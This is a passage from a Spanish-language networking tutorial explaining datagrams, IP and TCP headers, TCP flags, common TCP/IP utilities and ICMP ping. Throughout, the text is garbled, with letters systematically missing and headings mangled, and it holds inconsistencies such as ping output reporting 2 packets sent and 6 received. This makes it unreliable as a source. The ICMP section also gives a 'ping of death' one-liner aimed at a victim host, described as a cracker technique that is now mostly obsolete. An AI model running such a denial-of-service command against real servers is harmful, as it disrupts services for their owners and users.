servcos que todas as apcacones requeren para funconar correctamente. Estos servcos son
coocados en IP.
Las apcacones TCP/IP empean varas capas: un protocoo de apcacn ta como e correo; un
protocoo como TCP que provee servcos para muchas apcacones IP, que a su vez sumnstra e
servco bsco de evar os datagramas a su destno; os protocoos necesaros para gestonar un
medo fsco especfco ta como Ethernet o una nea punto a punto.
Los Datagramas
La nformacn es transferda en una secuenca de datagramas. Un datagrama es una coeccn de
datos que es envado a travs de a red como un mensa|e senco. Cada datagrama es envado
ndvduamente y exsten provsones para abrr conexones (por e|empo, para comenzar una
conversacn entre mquna y mquna). Sn embargo, en agn punto as conexones se parten en
datagramas que sern tratados por a red de manera separada.
E|empfcando, s se desea transferr un archvo de 15000 octetos tenemos que muchas redes no
pueden mane|ar un datagrama de este tamao por o que os protocoos o dvden en 30 datagramas
de 500 octetos. Cada uno de estos datagramas sern envados a otro extremo de a conexn. A
egar a su destno sern reensambados hasta egar a su tamao orgna. Hay que notar que cuando
os datagramas estn en camno, a red n se entera que exste una conexn entre eos y es muy
probabe que e datagrama 57 egue antes que e datagrama 5. Tambn exste a posbdad de que
ocurra agn error nesperado y e datagrama 81 no egue a su meta. En ta caso, ese datagrama en
especa deber ser envado nuevamente.
La comuncacn en Internet funcona como sgue. La capa de transporte toma correntes de datos y
as dvde en datagramas. En teora, os datagramas pueden ser de hasta 64 Kbytes cada uno, pero
en a prctca, por o genera, son de unos 1500 bytes (1.5 Kb). Cada datagrama se transmte a travs
de Internet, cas sempre fragmentandose en undades ms pequeas en camno a su destno.
Cuando todas as pezas egan fnamente a a mquna a que fueron destnadas, son reensambadas
por a capa de red, de|ando e datagrama orgna. Este datagrama es entregado entonces a a capa
de transporte que o ntroduce en a corrente de entrada de proceso receptor.
Debemos notar que as paabras data*rama y paquete parecen ser trmnos ntercambabes, pero
tecncamente hay dferencas pequeas. Datagrama es a paabra correcta cuando se descrbe TCP/IP.
Un datagrama es una undad de datos, y os datos son os eementos con os que deben tratar os
protocoos. Por otro ado, un paquete es una cosa fsca, que aparece en Ethernet o en agn cabe. En
a mayora de os casos un paquete smpemente contene un datagrama, por o que hay muy poca
dferenca, pero exste.
62
IP (Protocoo de Internet)
IP (Internet protoco) es e protocoo ms bsco de Internet y redes ocaes. Es e pegamento que
mantene unda a Internet y pertenece a a capa de red. Una red basada en TCP se puede defnr
reamente como un medo por e que pueden va|ar paquetes de tpo IP. De resto de funcones ya se
encargarn as otras capas ms atas.
Direcci'n EP =EP Address>
Una de as caracterstcas ms mportantes es a manera de dstngur a as computadoras. Cada una
tene una dreccn IP, y es esta dreccn a que a defne dentro de a gran red de Internet o entre
dos o ms computadoras conectadas medante Ethernet.
E formato de as dreccones IP es A.B.C.D., con cada "etra" en un rango entre 0 y 255. Esto es de
esta manera porque se usan 8 bts 28=256 posbdades por cada "etra". En readad a dreccn IP
son 32 bts, mpusos que va|an por a red e dentfcan a os dspostvos.
En redes nternas, por convencn nternacona, A suee ser 192 10 172 y B 168 0 16
respectvamente, de|ando C y D bres para poder dferencar redes y equpos concretos dentro de as
redes ocaes, a gusto de admnstrador de sstemas.
Se usa de este modo para no crear confctos cuando una red tene acceso a Internet. S en vez de
segur esta convencn, se asgnaran os nmeros segn e bre abedro, as dreccones IP en
nuestra red oca con, por e|empo, 100.100.0.X, correramos e resgo de producr un confcto s
queremos tener acceso a travs de Internet a un host con esa msma dreccn en concreto. Por esa
razn, nunca veremos en Internet una dreccn pbca de tpo 192.168.C.D 172.16.C.D, n
tampoco en una red oca dreccones dstntas a as que mencon anterormente, porque a querer
drgr paquetes, nuestra PC no sabra s debe envaras a a red oca o a Internet. Medante esta
convencn nos evtamos de probemas.
En redes ocaes, s e factor D corresponde a 255, a a IP se e ama dreccn de broadcast y ega a
todos os equpos por gua. Se usa para funcones nternas de contro de red.
Un paquete es envado por a capa de transporte en dmnutos paquetes de hasta 64 Kb cada uno,
posbemente, durante e va|e, sufre fragmentacones (es dvddo en paquetes an ms pequeos)
pero uego es re-ensambado por a capa de transporte hasta vover a tener a consttucn orgna.
Un datagrama IP, a gua que e resto de os paquetes de cuaquer protocoo, es anzado como una
rstra de cambos de vota|e contnuos. Esto en readad tene una estructura, que agrupada de 32 en
32 bts se aseme|a a o que sgue:
E datagrama IP contene una parte de cabecera y una parte de texto. La cabecera tene una parte f|a
de 20 bytes y una porcn opcona con una ongtud varabe. Todos os paquetes contenen toda
nformacn necesara para egar a su destno. As, s ega a perderse en e camno por nterferencas
o congestn de as redes, se asegura que cada uno sea ndependente y conozca a ruta de
"memora".
63
Vamos a descrbr un poco a cabecera de protocoo IP:
1ersi'n:
Este campo eva a versn de protocoo a a que pertenece e datagrama. A ncur a versn en
cada datagrama es posbe hacer que a transcn entre as versones se eve meses o ncuso aos,
e|ecutando agunas mqunas a versn ve|a y otras a versn nueva.
Len =E,L>:
Internet Header Length. Longtud de a cabecera en paabras de 32 bts. E vaor mnmo es 5 y e
mxmo 15, depende de campo de opcones.
T)&e o7 0ervice:
Tpo de servco. Permte a host ndcar a a subred que quere. Aqu se especfca cuanta fabdad se
necesta. No es o msmo una transferenca de archvos, donde no se debe perder n un soo paquete
(como os comprmdos con zp o rar), que de voz, donde no nos mportara que se perdan agunos
msegundos de conexn a cambo de ganar en veocdad. Son posbes varas combnacones de
confabdad y de veocdad.
Total Leng+t:
Longtud Tota. Longtud de todo e datagrama. Es de un mxmo de 65536 bytes.
Edenti7ication ) !ragment O77set:
Identfcacn y Despazamento de Fragmento. Por s son fragmentados, permte dentfcar a qu
grupo pertenecen y qu poscn ocupan dentro de grupo. EL despazamento de fragmento ndca
en qu parte de datagrama actua va este fragmento. Todos os fragmentos, excepto e tmo de
datagrama deben tener un mtpo de 8 bytes, que es a undad de fragmento eementa.
!lags and O&tions:
Banderas y Opcones. A as banderas tambn se es conoce como indicadores. Una bandera (fag)
hace referenca a un soo bt estratgco que segn est actvo o no ndcar que e sstema se
encuentra en un caso posbe entre dos prevamente especfcados.
Por e|empo, en una bandera actva en a funcn de un programa de a|edrez, puede ndcar s es e
turno de |ugador A o de B. Dstntos bts que dependendendo de su vaor, ndcan s se puede
trocear e paquete, s es e tmo... Las opcones son usadas para segurdad. Informan de errores, a
qu hora pas e paquete por e nodo, etc. En este campo exste un bt sn uso y dos campos de 1 bt
(no mostrados en a fgura). Uno de estos campos se conoce como DF (Don't fragment -No
fragmentar). Es una orden para os routers de que no fragmenten e datagrama porque e destno
puede no ser capaz de |untar as pezas de nuevo. Por e|empo, a arrancar a computadora, su ROM
(Read Ony Memory) podra pedr e envo de una magen de memora a ea como un soo datagrama.
E otro bt se ama MF (More fragments -Ms fragmentos) y o evan actvo todos os fragmentos con
excepcn de tmo. Es necesaro para saber cundo han egado todos os fragmentos de un
datagrama.
64
TTL =Time To Live>:
Tempo de Vda. Es un contador que va decrementndose a cada paso por un host. S ega a cero e
paquete se vueve prescndbe, es gnorado y se enva de regreso un paquete de avso a host de
orgen. S usamos e comando png, veremos que por defecto, e tempo de vda es de 128 segundos.
Protocol:
Protocoo. Una vez que a capa de red ha ensambado un datagrama, necesta saber qu hacer con .
E campo de protocoo ndca a capa de transporte a a que debe entregarse. Puede ser TCP, UDP o
agunos ms. La numeracn de protocoos es goba en toda a Internet y se defne en a RFC 1700.
En :"Ginnt"s)stemK8"drivers"etc"&rotocol o en etc2&rotocols podemos encontrar a sta de
protocoos que soporta nuestro Sstema Operatvo |unto con e nmero que o especfca.
,eader +ec*sum:
Checksum de a Cabecera (Suma de Contro). Verfca que en e camno no se ha modfcado nngn
dato. Esto es, a ntegrdad de paquete. Es e resutado de una funcn matemtca apcada a a
cabecera de paquete. S se cambase a cabecera, a a hora de vover a apcar a funcn, e
resutado sera dstnto, por o que se podra cuestonar a ntegrdad y veracdad de os datos
transmtdos.
E checksum es un vaor que es cacuado por una funcn que depende de contendo de un ob|eto de
datos y es amacenado o transmtdo con|untamente con e ob|eto, con e ob|eto de detectar cambos
en esos datos. Para tener a confanza de que un ob|eto de datos no ha sdo cambado, una entdad
que ms tarde usa os datos, puede cacuar una suma de contro y a puede comparar con a suma
de contro que se guard o transmt con e ob|eto.
Los sstemas de cmputo y as redes utzan sumas de contro (y otros mecansmos) para detectar
cambos accdentaes en os datos. Las funcones de suma de contro, por s msmas, no son buenas
contrameddas para ataques actvos. Para protegerse en contra de ataques actvos, a funcn de
suma de contro necesta ser eegda cudadosamente y e resutado de a suma de contro necesta
ser protegda crptogrfcamente.
Recordando un poco a anaoga de correo que usamos para e|empfcar a transmsn de datos a
travs de a Red, sabemos que exsten ofcnas de correos a donde egan as cartas y de ah se
redrgen a su destno fna. De msmo modo, exsten maqunas medadoras en a comuncacn que
recben os paquetes y anazan as dreccones IP. Se aman Routers y esta es su nca funcn.
Cuando os paquetes egan a a capa IP, e router anaza a cabecera. Internamente, e router tene
una taba parecda a esta:
Aqu se ve que e router ADSL envar a router de PC destno un paquete cuya dreccn IP no
pertenezca a a LAN actua. Lo nco que tene que hacer e router es entregaro a a mquna.
E proceso de satar de un router a otro buscando e camno que egue hasta a PC destno, puede
constar de varos pasos. Con e comando tracert podemos ver estos pasos: tracert www.googe.com.
65
Para saber a dreccn IP de un servdor web usa e comando png
16
.
Png www.dreccn.com
Para saber a propa dreccn e|ecutaremos desde una consoa:
Ipconfg /a
Pero desde Lnux hay que tecear desde una termna:
Ifconfg -a
Esto mostrar tanto nuestra IP nterna (de nuestra LAN, s a hay) y a que tenemos de cara a mundo
de Internet, que debe ser dferente. En defntva, mostrar a confguracn de protocoo IP en
nuestra mquna. Estando en Internet podemos vstar www.whatsmyp.com.
Pero hay que notar que dependendo de a compaa de tefonos, puede ser que a IP no concda
con a que se tene confgurada en a mquna. Esto es porque a Ca. De Tefonos puede estar
utzando proxes con e fn de ahorrarse dnero y ancho de banda.
Lo que sucede es que a compaa hace pasar a todos por unas computadoras que guardan en
memora as pgnas que ms vstan as personas. Por consguente, www.whatsmyp.com mostrar
a IP de proxy por e cua nos haya tocado pasar en ese momento. Otras pgnas, sn embargo, nos
nformarn que nuestra IP es reamente a que est confgurada en nuestra PC. Esto es porque e
servdor puede hacer caso a campo "orgen" de paquete, que es modfcado por e proxy con su
propa dreccn, o hacer caso a a dreccn orgen rea, que a ser modfcada por e proxy, queda
regstrada en un campo dstnto. Depende entonces de o estrcto de funconamento de servdor que
muestre una u otra.
Una forma de detectar nuestra dreccn IP rea y s estamos sendo "proxeado" por aguna mquna
de Temex u otra compaa, es vstar
www.nternautas.org/detectaproxy.php
Hay que saber tambn que exsten dos tpos de dreccones IP, as f|as y as dnmcas. Las ms
utzadas son as dnmcas y que son provedas por e Proveedor de Servcos de Internet (ISP por sus
sgas en ngs -Internet Servce Provder). Estas van cambando ya sea cada vez que e usuaro se
conecta a nternet, o apagando e router y esperando arededor de 5-15 mnutos para vovero a
encender. Las dreccones IP f|as nunca camban, pero as ms de as veces hay que pagar extra a
ISP para obtener una.
Habaremos ms a detae acerca de os proxes ms adeante en este documento.
16PING Packet INternet Groper (Buscador de Paquetes de Internet) Programa que se utiliza para comprobar si un destino est disponible. El
trmino se utiliza tambin coloquialmente: "Haz un ping al host X a ver si funciona".[Fuente: RFC1208].
66
TCP (Protocoo de Contro de Transmsn)
TCP (Transmsson Contro Protoco) es e compemento dea de IP. Uno de sus ob|etvos es corregr os
mayores defectos de IP y e proporcona todas as funcones necesaras para que as personas se
puedan comuncar ta y como o hacemos a travs de as redes hoy en da. Entre sus mayores
caracterstcas est e preocuparse por s os paquetes egan o no. Esto o hace medante bts de
respuesta y reconocmento que son devuetos por parte de receptor, tambn aprende
dnmcamente sobre a marcha os retrasos que sufre a red y adapta sus funcones segn e trfco,
se amoda a receptor ms ento, de manera que no e agobe con demasados paquetes, etc.
TCP es un protocoo con venta|as y desventa|as. Es consderado un protocoo pesado porque s esta
orentado a a conexn. E probema es que consume muchos recursos de red debdo a que se deben
dar muchos pasos para estabecer a comuncacn. E TCP es t cuando a nformacn transmtda
es muy grande ya que tene a capacdad de, aparte de verfcar as confrmacones de egada, partr
os paquetes en trozos ms pequeos para que estas confrmacones puedan egar poco a poco y no
tener que retransmtr todo en caso de no egar a confrmacn.
Un e|empo que podramos usar es cuando pedmos una coeccn enccopdca que se nos enva
cada tomo de uno por uno. Las maqunas poseen un "buzn" vrtua que, como en a anaoga de
buzn de nuestra casa, tene un tamao predetermnado que es sufcente para que quepa uno de os
tomos. Dferente sera que nos envarn toda a coeccn en una soa emsn. Esto ocasonara
probemas dado que e cartero o e mensa|ero tendra que coocar uno o dos en e buzn y os dems
en e sueo, con e pegro de que se ensucen, se os roben o en e peor de os casos, que os mee e
poco amstoso perro ptbu de vecno.
Una de as venta|as de TCP es que permte as conexones smutneas (por e|empo, nos da a
posbdad de chatear y envar archvos a msmo tempo.) TCP requere saber qu paquetes
pertenecen a dogo y cuaes a archvo en transmsn. Para resover este probema, TCP asgna un
nmero a cada dogo smutneo y otro a paquete que pertenece a archvo, por e|empo, y as va
conocendo y dferencando e tpo de datos. Estos nmeros de que habo son os puertos.
En una conexn entre dos mqunas, un puerto es un campo en e protocoo TCP que permte
dentfcar e servco a que va destnado cada paquete. As, cada vez que una mquna recba un
paquete con e nmero 25, sabe que pertenece a puerto 25 cuyo servco es e SMTP, encargado de
a transferenca por E-ma. Posterormente revsaremos os detaes de os puertos.
Cada byte de conexn TCP tene su propo nmero de secuenca de 32 bts. En un host que opera a
toda veocdad en una LAN de 10 Mbps. En teora os nmeros de secuenca podran vover a
comenzar en una hora, pero en a prctca tarda mucho ms tempo. Se usan os nmeros de
secuenca para os acuses de recbo (ACKs).
0egmentos
La entdad TCP transmsora y a receptora ntercamban datos en forma de segmentos. Un segmento
consste en una cabecera TCP f|a de 20 bytes (ms una parte opcona) seguda de ceros o ms bytes
de datos. E software de TCP decde e tamao de os segmentos; puede acumuar datos de varas
escrturas para formar un segmento o dvdr os datos de una escrtura en varos segmentos
<TD =<aximum Trans7er Dnit>
Exsten dos mtes que restrngen e tamao de os segmentos. Prmero, cada segmento, ncuda a
cabecera TCP, debe caber en a carga t de 65535 bytes de IP. Segundo, cada red tene una undad
mxma de transferenca, o MTU, y cada segmento debe caber en esta MTU. S un segmento pasa a
travs de una sere de redes sn fragmentarse y uego se topa con una cuya MTU es menor que e
segmento, e router de a frontera fragmenta e segmento en dos o ms segmentos pequeos.
67
As&ecto del &a-uete TP
Vamos a ver de que partes se componen os paquetes TCP. Los paquetes TCP son ago as:
Las dos prmeras partes se entenden. Uno ndca e puerto de donde se emt e paquete y e otro
nforma e puerto de entrada a ugar receptor.
N9mero de secuencia:
Cada trama se numera ndvduamente. S un archvo mde, por e|empo 4500 Kb, pero segn as
mtacones de a MTU de a red so se aceptan trozos ms pequeos, TCP o dvde en tres trozos de
1500 Kb cada uno y, para segur a secuenca es asgna un nmero de secuenca. Una pecuardad es
que no se enumera segn e nmero de trozo, sno segn e nmero de byte de archvo con e que
empeza ese trozo. As, e prmer trozo tendr e nmero de secuenca 0; e segundo, e 1500; y e
tercero, e 3000.
on7irmaci'n:
Tambn se e conoce como nmero de reconocimiento. Representa e numero de secuenca que e
receptor espera, ndcando que ha recbdo de manera correcta e anteror y est preparado para
recbr e sguente.
Longitud de cabecera TP:
Es e nmero de paabras de 32 bts de a cabecera. Es necesaro porque e campo "opcones" puede
ser varabe en ongtud y hace fata que e receptor conozca e argo de paquete.
!lags =banderas>:
Son os tros de etras en a grfca y cada bandera es de 1 bt. E que este campo haya sobrevvdo
por cas dos dcadas da testmono de o ben pensado que est e TCP. Vamos a revsaros a
contnuacn:
DBJ:
S est a 1 ndca que exsten datos urgentes que transmtr. En e PUNTERO URGENTE va e nmero
de secuenca de paquete donde empezan estos datos y srve para ndcar un despazamento en
bytes a partr de nmero actua de secuenca en e que se encuentran datos urgentes.
A?:
Acknowedge (o acuse de recbo). E bt ACK Indca que e nmero de acuse de recbo (o de
confrmacn) es vdo. S e ACK es cero, e segmento no contene un acuse de recbo, por o que se
gnora e campo de nmero de acuse de recibo. Normamente est actvo, excepto a nco de a
comuncacn.
68
P0,:
De PUSH, empu|ar. Este bt ndca datos empu|ados. Por este medo se socta a receptor entregar os
datos a a apcacn a su egada y no coocaros en memora ntermeda (o buffer -:fer) hasta a
recepcn de un bfer competo
B0T:
De Reset. Renca o restabece una conexn que se ha confunddo debdo a una cada de host u otra
razn cuaquera. Tambn srve para rechazar un segmento no vdo o un ntento de abrr una
conexn. Por o genera, s recbmos un segmento con e bt RST encenddo, sgnfca que tenemos
un probema.
0TN:
De Sncronzacn. Est soo actvo a prncpo de a comuncacn. Indca que a mquna que o
recbe debe prepararse para una conexn. As no cabe duda sobre a confrmacn de prmer
paquete. Cuando se ha envado e prmer paquete, no se puede confrmar e anteror porque
smpemente no exste. Con este fag se evta a confusn ya que ndca que es e prmero y o que se
est pdendo reamente es a autorzacn para comenzar una conexn. La soctud de conexn
tene os bts SYN = 1 y e ACK = 0 para ndcar que e campo de acuse de recbo ncorporado no est
en uso. En esenca, e bt SYN se usa para denotar connection request y connection accepted
(petcn de conexn y conexn aceptada) y se usa e bt ACK para dstngur entre ambas
posbdades.
!EN:
De fnazar. S est actvo, Indca que e emsor ya no tene ms datos que transmtr y se bera una
conexn. Tanto e segmento FIN como e SYN poseen nmeros de secuenca.
EO<:
Aunque no aparece en a grfca, ndca e fna de mensa|e.
1entana:
Para e contro de fu|os. Cuando dos dspostvos se comuncan a travs de TCP, reservan un poco de
espaco (memora) para r amacenando datos que e egan antes de que a apcacn que se ocupa
de eos (servdor de correo, navegador web) comence a trataros. Srve para me|orar e rendmento
tota. S e vaor es cero (0), sgnfca que no puede ao|ar ms datos en su espaco reservado y que e
emsor debe "esperar" un poco y dare un descanso a receptor. E vaor est presente en todos os
paquetes para evtar a saturacn.
+ec*sum:
Suma de contro (tambn conocda como suma de comprobacin) de todos os datos en boques de
16 bts. Es una suma de comprobacn de a cabecera, os datos. A reazar este ccuo, se estabece
e campo checksum de TCP en cero, y se reena e campo de datos con un byte cero adcona en
caso de que a ongtud sea un nmero non. E agortmo de suma de comprobacn smpemente
suma todas as paabras de 16 bts en compemento a 1 y uego obtene e compemento a 1 de a
suma. Como consecuenca, cuando e receptor reaza e ccuo con e segmento competo, ncudo
e campo de checksum, e resutado debe ser cero.
O&ciones:
Comunca tamaos de buffer (tpo de memora) durante a apertura de conexn, etc.
E campo SYN, en especa, |uega un pape preponderante en os ataques DoS, que expcar ms
adeante.
69
Uteras TCP/IP
En esta seccn veremos agunas de as herramentas que venen en muchos de os paquetes de
software de TCP/IP dsponbes y que permten e acceso a una ampa gama de nformacn de a red.
nsloo*u&
nsookup es un programa buscador de nombres de servdores que venen en muchos de os paquetes
de software TCP/IP. Se puede empear para examnar as entradas en a base de datos de DNS que
pertenece a un host o domno partcuar. Un uso comn es determnar a dreccn IP de sstema host
a partr de su nombre o e nombre de host partendo de a dreccn IP. E comando sera como sgue:
nsookup |IP_address|host_name|
S se e|ecuta e programa sn nngn parmetro e programa os pedr. Debemos poner e nombre de
host o su dreccn IP y e programa responder con a dreccn IP o e nombre de host. Con exit se
sae de a apcacn.
&ing
La herramenta png sempre va |unto con os paquetes de software TCP/IP. png utza una sere de
mensa|es Echo ICMP para determnar s un host remoto est actvo o no. Una herramenta ms
moderna es hpng2 que a repasaremos ms adeante y que a usaremos en varos otros e|erccos.
7inger
E programa fnger puede ser usado para averguar qun est conectado en otro sstema o para
conocer nformacn detaada acerca de un usuaro especfco. Este comando d nacmento a un
verbo en ngs: "fngerng someone", que nada tene que ver con mostrar nsutatvamente e dedo
medo a nade. Este comando se usa de a sguente manera:
fnger |username|@host_name
C:> fnger kumquat@smcvax.smcvt.edu
|smcvax.smcvt.edu|
KUMOUAT Gary KesserKUMOUAT not ogged n
Last ogn Fr 16-Sep-1996 3:47PM-EDT
Pan:
Gary C. Kesser
Ad|unct Facuty Member, Graduate Coege
INTERNET: kumquat@smcvt.edu
En este e|empo nos muestra e resutado de apuntar (to fnger) a un usuaro en un sstema remoto.
C:> fnger @smcvax.smcvt.edu
|smcvax.smcvt.edu|
Tuesday, September 17, 1996 10:12AM-EDTUp 30 09:40:18
5+1 |obs on SMCVAX Load ave 0.16 0.19 0.21
User Persona Name Subsys Termna Consoe Locaton
GOODWIN Dave GoodwnLYNX 6.NTY2 wado.smcvt.edu
|AT|ohn Tronoantenet1.TXA5
HELPDESK System Manager EDT2:08.NTY4 |199.93.35.182|
SMITH Lorrane Smth PINE.NTY3 |199.93.34.139|
SYSTEMSystem Manager MAIL 23.OPA0 The VAX Consoe
*DCL* SMCVX1$OPA0 The VAX Consoe
70
En este segundo e|empo nos nforma e resutado de un fnger a un sstema remoto. Da una sta de
os procesos actvos en e sstema o cuaquer otra nformacn dependendo de cmo, e
admnstrador haya confgurado e sstema para que responda a un fnger.
traceroute
traceroute es una utera que nos permte conocer a ruta que os paquetes toman desde su host
oca hasta e host destno. Los admnstradores de sstemas y de red o empean para depuracn,
tambn puede ser usado para aprender acerca de a sempre cambante estructura de Internet.
E comando posee e sguente formato genera (donde # representa un entero postvo asocado con
e cafcador):
traceroute |-m #| |-q #| |-w #| |-p #| {IP_address|host_name}
En este e|empo:
5m es e mxmo vaor TTL permsbe, meddo como e nmero de satos permtdos antes de que e
programa detenga su e|ecucn (defaut = 30)
5- es e nmero de paquetes UDP packets que sern envados (defaut = 3)
5G es a cantdad de tempo en segundos a esperar por una respuesta de un partcuar router
(defaut= 5)
5& es a dreccn de puerto nvda en e host remoto (defaut = 33434)
La versn orgna de traceroute funcona envando una secuenca de datagramas UDP a una
dreccn de puerto nvda a un host remoto. Usando a confguracn por defecto, se envan tres
datagramas con un vaor de campo TTL (Tme-To-Lve) puesto a 1. Poner este campo a 1 causa que e
e tempo de espera de datagrama egue a cero |usto a egar a prmer router en e camno; este
router responder entonces con un mensa|e ICMP de tempo exceddo (TEM) ndcando que e
datagrama ha exprado. Se envan uego 3 mensa|es UDP con e campo de TTL puesto a 2, o que
causa que e segundo router enve como respuesta otro TEM. Este proceso contna de forma
ndefnda hasta que os paquetes eguen a su destno. Dado que estos datagramas tratan de
acceder a un puerto nvdo en e host destno, se envan de regreso mensa|es ICMP Destnaton
unreachabe, que ndcan que e puerto no puede ser acanzado. E programa traceroute muestra e
retardo en e va|e de da y vueta asocado con con cada ntento. Hay que notar que exsten
mpementacones en e traceroute que usan una opcn de regstro de ruta en IP en vez de mtodo
descrto anterormente.
Otras dos herramentas son e tenet y e FTP, de as cuaes, a prmera se descrbr ms adeante en
este documento.
!TP
FTP (Fe Transfer Protoco -Protocoo de Transferenca de Archvos). Es un servco que Internet ofrece
para poder envar y recoger archvos a travs de a red, entre computadoras conectadas a a red.
Toda conexn FTP mpca a exstenca de una mquna que acta como servdor y un cente. FTP
permte a os usuaros cargar y descargar archvos entre hosts ocaes y remotos. E FTP annmo est
dsponbe en stes que permten a os usuaros acceder a archvos sn tener que crear una cuenta en
e host remoto. Lo ms habtua es que os usuaros partcuares utcen programas centes de FTP
para consegur programas abergados en servdores FTP
E formato genera de comando FTP es:
ftp |IP_address|host_name|
71
Hay que tomar en consderacn que dversos paquetes FTP pueden traer dferentes comandos.
Incusve comandos smares pueden tener efectos dstntos.
Anon)mous !TP
E FTP es un programa que funcona con e protocoo TCP/IP y que permte acceder a un servdor de
este sstema de ntercambo para recbr o transmtr archvos de todo tpo. En Internet exsten
mones de archvos dstrbudos en mes de computadoras, que pueden ser copados bremente
usando FTP. Estos archvos pueden ser documentos, textos, mgenes, sondos, programas, etc.,
contenendo todo tpo de datos e nformacn. E procedmento medante e cua se accede a una
computadora para copar archvos en forma bre y sn restrccones, se conoce con e nombre de FTP
annmo. Como es obvo, en este caso no se necesta una contrasea (password) para entrar en a
computadora remota, basta con poner como dentfcador a paabra anonymous y como password, a
dreccn de correo eectrnco.
Se pueden envar o recbr toda cases de archvos, aunque o norma es que os archvos de os
servdores se encuentran comprmdos (formatos .zp o .ar| para PC, .hqx o .st para Macntosh, .tar o
.gz para UNIX, etc.) con e ob|eto de ocupar e menor espaco posbe tanto en e dsco como en a
transferenca.
El !TP ) los arc+ivos
A traba|ar con servdores FTP os archvos son casfcados en dos categoras:
Arc+ivos de texto: son aqueos archvos en texto pano que so estn formados por caracteres
ASCII. La gran mayora tenen extensn .txt.
Arc+ivos @inarios: Son todos os archvos que no entran en a categora ASCII. Como por e|empo
archvos de mgenes, sondos y vdeo dgtazado, software en genera, cuaquer tpo de archvo que
este comprmdo y procesadores de texto avanzado (Word Perfect, Word for Wndows, Work, etc.).
Estos archvos mane|an 8 bts como un byte.
Es muy mportante confgurar sta caracterstca en e programa cente que se est utzando puesto
que a transferenca de archvos sn a confguracn correcta modfca a estructura de archvo
daando su contendo.
lientes de !TP
Con e nombre de centes de FTP se conocen a os programas para acceder a FTP. Exsten muchos
programas de este tpo pero todos poseen as msmas caracterstcas y opcones que bscamente
son Upoad (copar a servdor), Downoad (copar desde e servdor haca e usuaro), borrar.
He aqu agunos de estos programas:
RFtp 98
WS_FTP
FTPWof
CuteFTP
WS_Arche

72
E Protocoo de os Pngs: ICMP
ICMP (Internet Contro Message Protoco) es un protocoo senco que srve para controar e estado
de a red. Los datos sobre ICMP son envados dentro de paquetes IP, es decr, forma parte de
protocoo IP. Es capaz de dar un nforme fabe sobre a condcn de a red, por e|empo, nformando
sobre s as computadoras estn encenddas (Nota: se pueden confgurar para no responder a estos
pngs.)
&ing
En Wnxx se puede usar e pequeo programa png. png (Packet Internet Groper) se usa para ver s
una dreccn IP partcuar esta actva en caso de que a computadora est encendda y tambn para
resover dreccones a nombres de hosts. Cada Sstema Operatvo soporta png teceando &ing UEPV
en e Interprete de Comandos.
La utdad Png srve prncpamente para saber s un servdor esta actvo y ademas podemos cacuar
e trfco en a red segn e tempo de su respuesta. Bscamente se e enva un paquete a un
servdor y este nos contesta, soo que s se e enva un paquete muy grande puede egar
desordenado, por o que e servdor pde a orgen que e vueva a envar una parte o a totadad de
paquete, por o que se produce un datagrama de png muy grande y producra su cada.
Las opcones de png en Wnxx son como sgue:
Uso: ping [-t] [-a] [-n cantidad] [-l tamao] [-f] [-i TTL] [-v TOS]
[-r cantidad] [-s cantidad] [[-j lista de host] | [-k lista de host]]
[-w Tiempo de espera agotado] lista de destino
Opciones:
-t Solicita eco al host hasta ser interrumpido.
Para ver estadsticas y continuar: presione Ctrl-Inter.
Para interrumpir: presione Ctrl-C.
-a Resuelve direcciones a nombres de host.
-n cantidad Cantidad de solicitudes de eco a enviar.
-l tamao Tamao del bfer de envos.
-f No fragmentar el paquete.
-i TTL Tiempo de vida.
-v TOS Tipo de servicio.
-r cantidad Registrar la ruta para esta cantidad de saltos.
-s cantidad Registrar horarios para esta cantidad de saltos.
-j lista de hosts Ruta origen variable en la lista de host.
-k lista de hosts Ruta origen estricta en la lista de host.
-w tiempo Tiempo de espera agotado de respuesta en milisegundos.
C:\ping 127.0.0.1
Haciendo ping a 127.0.0.11 con 32 bytes de datos:
Respuesta desde 127.0.0.1: bytes=32 tiempo<10ms TDV=128 TDV (Tiempo de Vida = TTL)
Estadsticas de ping para 127.0.0.1:
Paquetes: enviados = 4, Recibidos = 4, perdidos = 0 (0% loss),
Tiempos aproximados de recorrido redondo en milisegundos:
mnimo = 0ms, mximo = 0ms, promedio = 0ms
73
Con a opcn 5a se pueden resover as dreccones a nombres de host.
En Lnux, as opcones de comando son:
~$ ping -h
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
~$ ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.100 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.102 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 6 received, 0% packet loss, time 5000ms
rtt min/avg/max/mdev = 0.097/0.101/0.103/0.006 ms
Ping de la <uerte
Es una tcnca usada por crackers que o usa para trar un servdor de Internet y esto representa
grandes perddas a una empresa. Para e|ecutar este ataque soo tenemos que escrbr en Wnxx :
C:\>png - 65510 vctma.com
Esta smpe nea es atamente destructva. En stos tmos aos ya ha de|ado de ser un probema y
no es ms que un suceso anecdtco gracas a a proteccn de os cortafuegos.
74
E Protocoo UDP
UDP (User Datagram Protoco) o Protocoo de Datagrama de Usuaro es un protocoo que tambn
proporcona acceso a servcos basados en IP. A gua que e protocoo TCP de modeo TCP/IP, e UDP
pertenece tambn a a capa de transporte. De hecho se puede aprecar que os paquetes son muy
parecdos. UDP se usa cuando e TCP resuta demasado ento o compe|o. E mayor exponente de uso
de UDP es e protocoo DNS para resover dreccones IP en nombres (y vceversa), y e protocoo
TFTP (Trva Fe Transfer Protoco). Tambn es orentado a puertos.
E protocoo UDP, entre otras cosas, se dferenca de TCP en que NO est orentado a a conexn, o
que sgnfca que a comuncacn, mentras ms rpda sea, se vueve menos segura debdo a que
no mpementa mecansmos que nos puedan garantzar que un paquete vaya a egar a su destno. Se
usa para apcacones que no necestan a asgnacn de secuenca n e contro de fu|o de TCP y que
desean utzar os suyos propos.
UDP tampoco se hace responsabe de que dos paquetes eguen en e msmo orden en que fueron
envados. Esto no se apreca en redes tpo LAN donde es muy poco probabe que se perdan
paquetes, pero en Internet se converte en un probema debdo a os dstntos dspostvos que tene
que recorrer a nformacn.
En vrtud de que es un servco no orentado a a conexn, UDP no mantene una conexn de
extremo a extremo con e mduo UDP remoto. Smpemente empu|a un datagrama haca a red y
acepta os datagramas entrantes desde a msma red.
Dsos del Protocolo DDP
